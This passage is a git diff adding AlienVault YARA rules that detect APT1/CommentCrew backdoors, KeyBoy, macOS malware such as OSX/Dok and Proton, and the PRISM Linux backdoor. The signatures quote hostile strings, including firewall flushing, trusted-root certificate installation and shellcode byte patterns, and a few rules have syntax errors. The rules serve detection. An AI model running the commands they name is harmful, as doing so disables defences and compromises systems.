+		2 of ($n*) and 2 of ($i*) and 2 of ($uac*)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/KURTON_APT1.yar b/yara-mikesxrs/alienvault/KURTON_APT1.yar
new file mode 100644
index 0000000..7dae7a6
--- /dev/null
+++ b/yara-mikesxrs/alienvault/KURTON_APT1.yar
@@ -0,0 +1,14 @@
+rule KURTON_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; MSIE8.0; Windows NT 5.1)" wide ascii
+                $s2 = "!(*@)(!@PORT!(*@)(!@URL" wide ascii
+                $s3 = "MyTmpFile.Dat" wide ascii
+                $s4 = "SvcHost.DLL.log" wide ascii
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/Keyboy_document_ppsx_sct.yar b/yara-mikesxrs/alienvault/Keyboy_document_ppsx_sct.yar
new file mode 100644
index 0000000..4335904
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Keyboy_document_ppsx_sct.yar
@@ -0,0 +1,29 @@
+rule keyboy_document_ppsx_sct
+
+{
+
+    meta:
+
+       author = "AlienVault Labs"
+
+       copyright = "Alienvault Inc. 2018"
+       
+       reference = "https://www.alienvault.com/blogs/labs-research/delivery-keyboy"
+
+       license = "Apache License, Version 2.0"
+
+       description = "Matches on compressed sub-file"
+
+       sha256 = "831c3c40cc3fbc28b1ce1eca6bf278602c088f0580d6bdf324ef949c7d48a707"
+
+       strings:
+
+              $string_1 = "<vt:lpstr>script:http://"
+
+              $string_2 = ".sct\" TargetMode=\"External\"/></Relationships>"
+
+       condition:
+
+        any of them
+
+}
diff --git a/yara-mikesxrs/alienvault/Keyboy_mobile_titan.yar b/yara-mikesxrs/alienvault/Keyboy_mobile_titan.yar
new file mode 100644
index 0000000..ce607fe
--- /dev/null
+++ b/yara-mikesxrs/alienvault/Keyboy_mobile_titan.yar
@@ -0,0 +1,29 @@
+rule keyboy_mobile_titan
+
+{
+
+    meta:
+
+       author = "AlienVault Labs"
+
+       copyright = "Alienvault Inc. 2018"
+       
+       reference = "https://www.alienvault.com/blogs/labs-research/delivery-keyboy"
+
+       license = "Apache License, Version 2.0"
+
+       sha256 = "5acc64f814cc06db5e5cc56784607ddfa95e3e45170002a210c807857d48a1b0"
+
+       strings:
+
+              $string_1 = "titans.action.GLOBAL_ACTION"
+
+              $string_2 = "titans.action.LOCATION_ACTION"
+
+              $string_3 = "titans.action.PHONE_RECORD_ACTION"
+
+       condition:
+
+        all of them
+
+}
diff --git a/yara-mikesxrs/alienvault/LIGHTDART_APT1.yar b/yara-mikesxrs/alienvault/LIGHTDART_APT1.yar
new file mode 100644
index 0000000..73ec817
--- /dev/null
+++ b/yara-mikesxrs/alienvault/LIGHTDART_APT1.yar
@@ -0,0 +1,14 @@
+rule LIGHTDART_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "ret.log" wide ascii
+                $s2 = "Microsoft Internet Explorer 6.0" wide ascii
+                $s3 = "szURL Fail" wide ascii
+                $s4 = "szURL Successfully" wide ascii
+                $s5 = "%s&sdate=%04ld-%02ld-%02ld" wide ascii
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/LONGRUN_APT1.yar b/yara-mikesxrs/alienvault/LONGRUN_APT1.yar
new file mode 100644
index 0000000..4fe73d6
--- /dev/null
+++ b/yara-mikesxrs/alienvault/LONGRUN_APT1.yar
@@ -0,0 +1,14 @@
+rule LONGRUN_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0)" wide ascii
+                $s2 = "%s\\%c%c%c%c%c%c%c" wide ascii
+                $s3 = "wait:" wide ascii
+                $s4 = "Dcryption Error! Invalid Character" wide ascii
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/MACROMAIL_APT1.yar b/yara-mikesxrs/alienvault/MACROMAIL_APT1.yar
new file mode 100644
index 0000000..7e6350a
--- /dev/null
+++ b/yara-mikesxrs/alienvault/MACROMAIL_APT1.yar
@@ -0,0 +1,14 @@
+rule MACROMAIL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "svcMsn.dll" wide ascii
+                $s2 = "RundllInstall" wide ascii
+                $s3 = "Config service %s ok." wide ascii
+                $s4 = "svchost.exe" wide ascii
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/MANITSME_APT1.yar b/yara-mikesxrs/alienvault/MANITSME_APT1.yar
new file mode 100644
index 0000000..60fd720
--- /dev/null
+++ b/yara-mikesxrs/alienvault/MANITSME_APT1.yar
@@ -0,0 +1,22 @@
+rule MANITSME_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Install an Service hosted by SVCHOST." wide ascii
+                $s2 = "The Dll file that to be released." wide ascii
+                $s3 = "SYSTEM\\CurrentControlSet\\Services\\" wide ascii
+                $s4 = "svchost.exe" wide ascii
+
+                $e1 = "Man,it's me" wide ascii
+                $e2 = "Oh,shit" wide ascii
+                $e3 = "Hallelujah" wide ascii
+                $e4 = "nRet == SOCKET_ERROR" wide ascii
+
+                $pdb1 = "rouji\\release\\Install.pdb" wide ascii
+                $pdb2 = "rouji\\SvcMain.pdb" wide ascii
+
+        condition:
+                (all of ($s*)) or (all of ($e*)) or $pdb1 or $pdb2
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/MINIASP_APT1.yar b/yara-mikesxrs/alienvault/MINIASP_APT1.yar
new file mode 100644
index 0000000..4c4b9c1
--- /dev/null
+++ b/yara-mikesxrs/alienvault/MINIASP_APT1.yar
@@ -0,0 +1,16 @@
+rule MINIASP_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "miniasp" wide ascii
+                $s2 = "wakeup=" wide ascii
+                $s3 = "download ok!" wide ascii
+                $s4 = "command is null!" wide ascii
+                $s5 = "device_input.asp?device_t=" wide ascii
+
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/MiniASP.yar b/yara-mikesxrs/alienvault/MiniASP.yar
new file mode 100644
index 0000000..b392c8f
--- /dev/null
+++ b/yara-mikesxrs/alienvault/MiniASP.yar
@@ -0,0 +1,13 @@
+rule MiniASP
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+strings:
+    $KEY = { 71 30 6E 63 39 77 38 65 64 61 6F 69 75 6B 32 6D 7A 72 66 79 33 78 74 31 70 35 6C 73 36 37 67 34 62 76 68 6A }
+    $PDB = "MiniAsp.pdb" nocase wide ascii
+
+condition:
+    any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/MoonProject.yar b/yara-mikesxrs/alienvault/MoonProject.yar
new file mode 100644
index 0000000..98da996
--- /dev/null
+++ b/yara-mikesxrs/alienvault/MoonProject.yar
@@ -0,0 +1,15 @@
+rule MoonProject
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "Serverfile is smaller than Clientfile" wide ascii
+    $b = "\\M tools\\" wide ascii
+    $c = "MoonDLL" wide ascii
+        $d = "\\M tools\\" wide ascii
+
+  condition:
+    any of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/NEWSREELS_APT1.yar b/yara-mikesxrs/alienvault/NEWSREELS_APT1.yar
new file mode 100644
index 0000000..8530c98
--- /dev/null
+++ b/yara-mikesxrs/alienvault/NEWSREELS_APT1.yar
@@ -0,0 +1,19 @@
+rule NEWSREELS_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0)" wide ascii
+                $s2 = "name=%s&userid=%04d&other=%c%s" wide ascii
+                $s3 = "download ok!" wide ascii
+                $s4 = "command is null!" wide ascii
+                $s5 = "noclient" wide ascii
+                $s6 = "wait" wide ascii
+                $s7 = "active" wide ascii
+                $s8 = "hello" wide ascii
+
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/NKRivts.yar b/yara-mikesxrs/alienvault/NKRivts.yar
new file mode 100644
index 0000000..9fd1cf4
--- /dev/null
+++ b/yara-mikesxrs/alienvault/NKRivts.yar
@@ -0,0 +1,12 @@
+rule rivts_pdb {
+meta:
+	description = "Detects Rivts based on PDB folder"
+	author="cdoman@alienvault.com"
+	tlp ="white"
+	license = "MIT License"
+    reference = "https://www.alienvault.com/blogs/security-essentials/north-korean-cyber-attacks-and-collateral-damage"
+strings:
+	$m = "F:\\meWork\\" nocase wide ascii
+condition:
+	uint16(0) == 0x5a4d and any of them
+}
diff --git a/yara-mikesxrs/alienvault/OSX_Dok.yar b/yara-mikesxrs/alienvault/OSX_Dok.yar
new file mode 100644
index 0000000..fbcf6b2
--- /dev/null
+++ b/yara-mikesxrs/alienvault/OSX_Dok.yar
@@ -0,0 +1,34 @@
+rule osx_dok
+{
+meta:
+
+author = "AlienVault Labs"
+
+type = "malware"
+
+description = "OSX/Dok"
+
+reference = "https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware"
+
+
+strings:
+
+$c1 = "/usr/local/bin/brew"
+
+$c2 = "/usr/local/bin/tor"
+
+$c3 = "/usr/local/bin/socat"
+
+$c4 = "killall Safari"
+
+& $c5 = "killall "Google Chrome""
+
+$c6 = "killall firefox"
+
+$c7 = "security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain %@"
+
+condition:
+
+all of them
+
+}
diff --git a/yara-mikesxrs/alienvault/OSX_MacSpy.yar b/yara-mikesxrs/alienvault/OSX_MacSpy.yar
new file mode 100644
index 0000000..14b44d7
--- /dev/null
+++ b/yara-mikesxrs/alienvault/OSX_MacSpy.yar
@@ -0,0 +1,15 @@
+rule macSpy
+{
+meta:
+author = "AlienVault Labs"
+type = "malware"
+description = "MacSpy"
+reference = "https://www.alienvault.com/blogs/labs-research/macspy-os-x-rat-as-a-service"
+strings:
+$header0 = {cf fa ed fe}
+$header1 = {ce fa ed fe}
+$header2 = {ca fe ba be}
+$c1 = { 76 31 09 00 76 32 09 00 76 33 09 00 69 31 09 00 69 32 09 00 69 33 09 00 69 34 09 00 66 31 09 00 66 32 09 00 66 33 09 00 66 34 09 00 74 63 3A 00 }
+condition:
+($header0 at 0 or $header1 at 0 or $header2 at 0) and $c1
+}
diff --git a/yara-mikesxrs/alienvault/OSX_Proton.B.yar b/yara-mikesxrs/alienvault/OSX_Proton.B.yar
new file mode 100644
index 0000000..b86472c
--- /dev/null
+++ b/yara-mikesxrs/alienvault/OSX_Proton.B.yar
@@ -0,0 +1,30 @@
+rule mac_bd_systemd
+{
+
+meta:
+
+author = "AlienVault Labs"
+
+type = "malware"
+
+description = "OSX/Proton.B"
+
+reference = "https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware"
+
+strings:
+
+$c1 = "This file is corrupted and connot be opened"
+
+$c2 = "whatismyip.akamai.com"
+
+$c3 = ";chflags hidden"
+
+$c4 = "%keymod%"
+
+$c5 = "* *-<4=w"
+
+condition:
+
+3 of ($c*)
+
+}
diff --git a/yara-mikesxrs/alienvault/OSX_Proton_B_systemd.1.yar b/yara-mikesxrs/alienvault/OSX_Proton_B_systemd.1.yar
new file mode 100644
index 0000000..528d61e
--- /dev/null
+++ b/yara-mikesxrs/alienvault/OSX_Proton_B_systemd.1.yar
@@ -0,0 +1,35 @@
+rule osx_proton_b
+
+{
+
+meta:
+
+author = "AlienVault Labs"
+
+type = "malware"
+
+description = "Mac.Backdoor.Systemd.1"
+
+reference = "https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware"
+
+strings:
+
+$c1 = "%@/%@%@%@%@%@"
+
+$c2 = { 2e 00 68 00 61 00 73 00 } //. h a s
+
+$c3 = "Network Configuration needs to update DHCP settings. Type your password to allow this."
+
+$c4 = "root_password"
+
+$c5 = "decryptData:withPassword:error:"
+
+$c6 = "—–BEGIN PUBLIC KEY—–"
+
+$c7 = "ssh_user"
+
+condition:
+
+5 of ($c*)
+
+}
diff --git a/yara-mikesxrs/alienvault/PRISM.yar b/yara-mikesxrs/alienvault/PRISM.yar
new file mode 100644
index 0000000..f83a550
--- /dev/null
+++ b/yara-mikesxrs/alienvault/PRISM.yar
@@ -0,0 +1,69 @@
+rule PRISM {
+
+    meta:
+
+        author = "AlienLabs"
+
+        description = "PRISM backdoor"
+
+        reference = "https://github.com/andreafabrizi/prism/blob/master/prism.c"
+        
+        reference2 = "https://cybersecurity.att.com/blogs/labs-research/prism-attacks-fly-under-the-radar"
+
+
+    strings:
+
+        $s1 = "I'm not root :("
+
+        $s2 = "Flush Iptables:\t"
+
+        $s3 = " Version:\t\t%s\n"
+
+        $s4 = " Shell:\t\t\t%s\n"
+
+        $s5 = " Process name:\t\t%s\n"
+
+        $s6 = "iptables -F 2> /dev/null"
+
+        $s7 = "iptables -P INPUT ACCEPT 2> /dev/null"
+
+        $s8 = " started\n\n# "
+
+
+        $c1 = {
+
+            E8 [4] 8B 45 ?? BE 00 00 00 00 89 C7 E8 [4] 8B 45 ?? BE 01 00 00 00
+
+            89 C7 E8 [4] 8B 45 ?? BE 02 00 00 00 89 C7 E8 [4] BA 00 00 00 00
+
+            BE [4] BF [4] B8 00 00 00 00 E8
+
+        }
+
+        $c2 = {
+
+            BA 00 00 00 00
+
+            BE 01 00 00 00
+
+            BF 02 00 00 00
+
+            E8 [4]
+
+            89 45 [1]
+
+            83 ?? ?? 00
+
+        }
+
+
+    condition:
+
+        uint32(0) == 0x464C457F and
+
+        filesize < 30KB and
+
+        (4 of ($s*) or all of ($c*))
+
+}
+
diff --git a/yara-mikesxrs/alienvault/PrismaticSuccessor.yar b/yara-mikesxrs/alienvault/PrismaticSuccessor.yar
new file mode 100644
index 0000000..ba3fd5f
--- /dev/null
+++ b/yara-mikesxrs/alienvault/PrismaticSuccessor.yar
@@ -0,0 +1,105 @@
+rule PrismaticSuccessor : LinuxMalware
+
+{
+
+   meta:
+
+       author = "AlienLabs"
+
+       description = "Prismatic Successor malware backdoor"
+
+       reference = "aaeee0e6f7623f0087144e6e318441352fef4000e7a8dd84b74907742c244ff5"
+       
+       reference2 = "https://cybersecurity.att.com/blogs/labs-research/prism-attacks-fly-under-the-radar
+
+       copyright = "Alienvault Inc. 2021"
+
+
+   strings:
+
+       $s1 = "echo -e \""
+
+       $s2 = "[\x1B[32m+\x1B[0m]`/bin/hostname`"
+
+       $s3 = "[\x1B[32m+\x1B[0m]`/usr/bin/id`"
+
+       $s4 = "[\x1B[32m+\x1B[0m]`uname -r`"
+
+       $s5 = "[+]HostUrl->\t%s\n"
+
+       $s6 = "[+]PortUrl->\t%s\n"
+
+       $s7 = "/var/run/sshd.lock"
+
+
+       $shellcode = {
+
+           48 31 C9
+
+           48 81 E9 [4]
+
+           48 8D 05 [4]
+
+           48 BB [8]
+
+           48 31 [2]
+
+           48 2D [2-4]
+
+           E2 F4
+
+       }
+
+
+       $c1 = {
+
+           8B 45 ??
+
+           BE 00 00 00 00
+
+           89 C7
+
+           E8 [4]
+
+           8B 45 ??
+
+           BE 01 00 00 00
+
+           89 C7
+
+           E8 [4]
+
+           8B 45 ??
+
+           BE 02 00 00 00
+
+           89 C7
+
+           E8 [4]
+
+           8B 45 ??
+
+           BA [4]
+
+           BE [4]
+
+           89 C7
+
+           E8
+
+       }
+
+
+   condition:
+
+       uint32(0) == 0x464C457F and
+
+       filesize > 500KB and filesize < 5MB and
+
+       5 of ($s*) and
+
+       all of ($c*) and
+
+       #shellcode == 2
+
+}
diff --git a/yara-mikesxrs/alienvault/SEASALT_APT1.yar b/yara-mikesxrs/alienvault/SEASALT_APT1.yar
new file mode 100644
index 0000000..01ee509
--- /dev/null
+++ b/yara-mikesxrs/alienvault/SEASALT_APT1.yar
@@ -0,0 +1,16 @@
+rule SEASALT_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) KSMM" wide ascii
+                $s2 = "upfileok" wide ascii
+                $s3 = "download ok!" wide ascii
+                $s4 = "upfileer" wide ascii
+                $s5 = "fxftest" wide ascii
+
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/STARSYPOUND_APT1.yar b/yara-mikesxrs/alienvault/STARSYPOUND_APT1.yar
new file mode 100644
index 0000000..fd44f4f
--- /dev/null
+++ b/yara-mikesxrs/alienvault/STARSYPOUND_APT1.yar
@@ -0,0 +1,15 @@
+rule STARSYPOUND_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "*(SY)# cmd" wide ascii
+                $s2 = "send = %d" wide ascii
+                $s3 = "cmd.exe" wide ascii
+                $s4 = "*(SY)#" wide ascii
+
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/SWORD_APT1.yar b/yara-mikesxrs/alienvault/SWORD_APT1.yar
new file mode 100644
index 0000000..48f9e35
--- /dev/null
+++ b/yara-mikesxrs/alienvault/SWORD_APT1.yar
@@ -0,0 +1,15 @@
+rule SWORD_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "@***@*@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@>>>" wide ascii
+                $s2 = "sleep:" wide ascii
+                $s3 = "down:" wide ascii
+                $s4 = "*========== Bye Bye ! ==========*" wide ascii
+
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/TABMSGSQL_APT1.yar b/yara-mikesxrs/alienvault/TABMSGSQL_APT1.yar
new file mode 100644
index 0000000..b483717
--- /dev/null
+++ b/yara-mikesxrs/alienvault/TABMSGSQL_APT1.yar
@@ -0,0 +1,15 @@
+rule TABMSGSQL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "letusgohtppmmv2.0.0.1" wide ascii
+                $s2 = "Mozilla/4.0 (compatible; )" wide ascii
+                $s3 = "filestoc" wide ascii
+                $s4 = "filectos" wide ascii
+                $s5 = "reshell" wide ascii
+
+        condition:
+                all of them
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/TrojanCookies_CCREW.yar b/yara-mikesxrs/alienvault/TrojanCookies_CCREW.yar
new file mode 100644
index 0000000..7e12288
--- /dev/null
+++ b/yara-mikesxrs/alienvault/TrojanCookies_CCREW.yar
@@ -0,0 +1,17 @@
+rule TrojanCookies_CCREW
+{
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+  strings:
+    $a = "sleep:" wide ascii
+    $b = "content=" wide ascii
+    $c = "reqpath=" wide ascii
+    $d = "savepath=" wide ascii
+    $e = "command=" wide ascii
+
+
+  condition:
+    4 of ($a,$b,$c,$d,$e)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/alienvault/alienvault_index.yara b/yara-mikesxrs/alienvault/alienvault_index.yara
new file mode 100644
index 0000000..857db68
--- /dev/null
+++ b/yara-mikesxrs/alienvault/alienvault_index.yara
@@ -0,0 +1,2168 @@
+
+rule LIGHTDART_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "ret.log" wide ascii
+                $s2 = "Microsoft Internet Explorer 6.0" wide ascii
+                $s3 = "szURL Fail" wide ascii
+                $s4 = "szURL Successfully" wide ascii
+                $s5 = "%s&sdate=%04ld-%02ld-%02ld" wide ascii
+        condition:
+                all of them
+}
+
+rule AURIGA_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "superhard corp." wide ascii
+                $s2 = "microsoft corp." wide ascii
+                $s3 = "[Insert]" wide ascii
+                $s4 = "[Delete]" wide ascii
+                $s5 = "[End]" wide ascii
+                $s6 = "!(*@)(!@KEY" wide ascii
+                $s7 = "!(*@)(!@SID=" wide ascii
+        condition:
+                all of them
+}
+
+rule AURIGA_driver_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Services\\riodrv32" wide ascii
+                $s2 = "riodrv32.sys" wide ascii
+                $s3 = "svchost.exe" wide ascii
+                $s4 = "wuauserv.dll" wide ascii
+                $s5 = "arp.exe" wide ascii
+                $pdb = "projects\\auriga" wide ascii
+
+        condition:
+                all of ($s*) or $pdb
+}
+
+rule BANGAT_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "superhard corp." wide ascii
+                $s2 = "microsoft corp." wide ascii
+                $s3 = "[Insert]" wide ascii
+                $s4 = "[Delete]" wide ascii
+                $s5 = "[End]" wide ascii
+                $s6 = "!(*@)(!@KEY" wide ascii
+                $s7 = "!(*@)(!@SID=" wide ascii
+                $s8 = "end      binary output" wide ascii
+                $s9 = "XriteProcessMemory" wide ascii
+                $s10 = "IE:Password-Protected sites" wide ascii
+                $s11 = "pstorec.dll" wide ascii
+
+        condition:
+                all of them
+}
+
+rule BISCUIT_GREENCAT_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "zxdosml" wide ascii
+                $s2 = "get user name error!" wide ascii
+                $s3 = "get computer name error!" wide ascii
+                $s4 = "----client system info----" wide ascii
+                $s5 = "stfile" wide ascii
+                $s6 = "cmd success!" wide ascii
+
+        condition:
+                all of them
+}
+
+rule BOUNCER_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "*Qd9kdgba33*%Wkda0Qd3kvn$*&><(*&%$E#%$#1234asdgKNAg@!gy565dtfbasdg" wide ascii
+                $s2 = "IDR_DATA%d" wide ascii
+
+                $s3 = "asdfqwe123cxz" wide ascii
+                $s4 = "Mode must be 0(encrypt) or 1(decrypt)." wide ascii
+
+        condition:
+                ($s1 and $s2) or ($s3 and $s4)
+
+}
+
+rule BOUNCER_DLL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "new_connection_to_bounce():" wide ascii
+                $s2 = "usage:%s IP port [proxip] [port] [key]" wide ascii
+
+        condition:
+                all of them
+}
+
+rule CALENDAR_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "content" wide ascii
+                $s2 = "title" wide ascii
+                $s3 = "entry" wide ascii
+                $s4 = "feed" wide ascii
+                $s5 = "DownRun success" wide ascii
+                $s6 = "%s@gmail.com" wide ascii
+                $s7 = "<!--%s-->" wide ascii
+
+                $b8 = "W4qKihsb+So=" wide ascii
+                $b9 = "PoqKigY7ggH+VcnqnTcmhFCo9w==" wide ascii
+                $b10 = "8oqKiqb5880/uJLzAsY=" wide ascii
+
+        condition:
+                all of ($s*) or all of ($b*)
+}
+
+rule COMBOS_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla4.0 (compatible; MSIE 7.0; Win32)" wide ascii
+                $s2 = "Mozilla5.1 (compatible; MSIE 8.0; Win32)" wide ascii
+                $s3 = "Delay" wide ascii
+                $s4 = "Getfile" wide ascii
+                $s5 = "Putfile" wide ascii
+                $s6 = "---[ Virtual Shell]---" wide ascii
+                $s7 = "Not Comming From Our Server %s." wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule DAIRY_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; MSIE 7.0;)" wide ascii
+                $s2 = "KilFail" wide ascii
+                $s3 = "KilSucc" wide ascii
+                $s4 = "pkkill" wide ascii
+                $s5 = "pklist" wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule GLOOXMAIL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Kill process success!" wide ascii
+                $s2 = "Kill process failed!" wide ascii
+                $s3 = "Sleep success!" wide ascii
+                $s4 = "based on gloox" wide ascii
+
+                $pdb = "glooxtest.pdb" wide ascii
+
+        condition:
+                all of ($s*) or $pdb
+}
+
+rule GOGGLES_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Kill process success!" wide ascii
+                $s2 = "Kill process failed!" wide ascii
+                $s3 = "Sleep success!" wide ascii
+                $s4 = "based on gloox" wide ascii
+
+                $pdb = "glooxtest.pdb" wide ascii
+
+        condition:
+                all of ($s*) or $pdb
+}
+
+rule HACKSFASE1_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = {cb 39 82 49 42 be 1f 3a}
+
+        condition:
+                all of them
+}
+
+rule HACKSFASE2_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Send to Server failed." wide ascii
+                $s2 = "HandShake with the server failed. Error:" wide ascii
+                $s3 = "Decryption Failed. Context Expired." wide ascii
+
+        condition:
+                all of them
+}
+
+rule KURTON_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; MSIE8.0; Windows NT 5.1)" wide ascii
+                $s2 = "!(*@)(!@PORT!(*@)(!@URL" wide ascii
+                $s3 = "MyTmpFile.Dat" wide ascii
+                $s4 = "SvcHost.DLL.log" wide ascii
+
+        condition:
+                all of them
+}
+
+rule LONGRUN_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0)" wide ascii
+                $s2 = "%s\\%c%c%c%c%c%c%c" wide ascii
+                $s3 = "wait:" wide ascii
+                $s4 = "Dcryption Error! Invalid Character" wide ascii
+
+        condition:
+                all of them
+}
+
+rule MACROMAIL_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "svcMsn.dll" wide ascii
+                $s2 = "RundllInstall" wide ascii
+                $s3 = "Config service %s ok." wide ascii
+                $s4 = "svchost.exe" wide ascii
+
+        condition:
+                all of them
+}
+
+rule MANITSME_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Install an Service hosted by SVCHOST." wide ascii
+                $s2 = "The Dll file that to be released." wide ascii
+                $s3 = "SYSTEM\\CurrentControlSet\\Services\\" wide ascii
+                $s4 = "svchost.exe" wide ascii
+
+                $e1 = "Man,it's me" wide ascii
+                $e2 = "Oh,shit" wide ascii
+                $e3 = "Hallelujah" wide ascii
+                $e4 = "nRet == SOCKET_ERROR" wide ascii
+
+                $pdb1 = "rouji\\release\\Install.pdb" wide ascii
+                $pdb2 = "rouji\\SvcMain.pdb" wide ascii
+
+        condition:
+                (all of ($s*)) or (all of ($e*)) or $pdb1 or $pdb2
+}
+
+rule MINIASP_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "miniasp" wide ascii
+                $s2 = "wakeup=" wide ascii
+                $s3 = "download ok!" wide ascii
+                $s4 = "command is null!" wide ascii
+                $s5 = "device_input.asp?device_t=" wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule NEWSREELS_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0)" wide ascii
+                $s2 = "name=%s&userid=%04d&other=%c%s" wide ascii
+                $s3 = "download ok!" wide ascii
+                $s4 = "command is null!" wide ascii
+                $s5 = "noclient" wide ascii
+                $s6 = "wait" wide ascii
+                $s7 = "active" wide ascii
+                $s8 = "hello" wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule SEASALT_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "User-Agent: Mozilla/4.0 (compatible; MSIE 5.00; Windows 98) KSMM" wide ascii
+                $s2 = "upfileok" wide ascii
+                $s3 = "download ok!" wide ascii
+                $s4 = "upfileer" wide ascii
+                $s5 = "fxftest" wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule STARSYPOUND_APT1 {
+    meta:
+        author = "AlienVault Labs"
+        info = "CommentCrew-threat-apt1"
+
+        strings:
+                $s1 = "*(SY)# cmd" wide ascii
+                $s2 = "send = %d" wide ascii
+                $s3 = "cmd.exe" wide ascii
+                $s4 = "*(SY)#" wide ascii
+
+
+        condition:
+                all of them
+}
+
+rule SWORD_APT1 {
+    meta:
+        author = "AlienVault Labs"
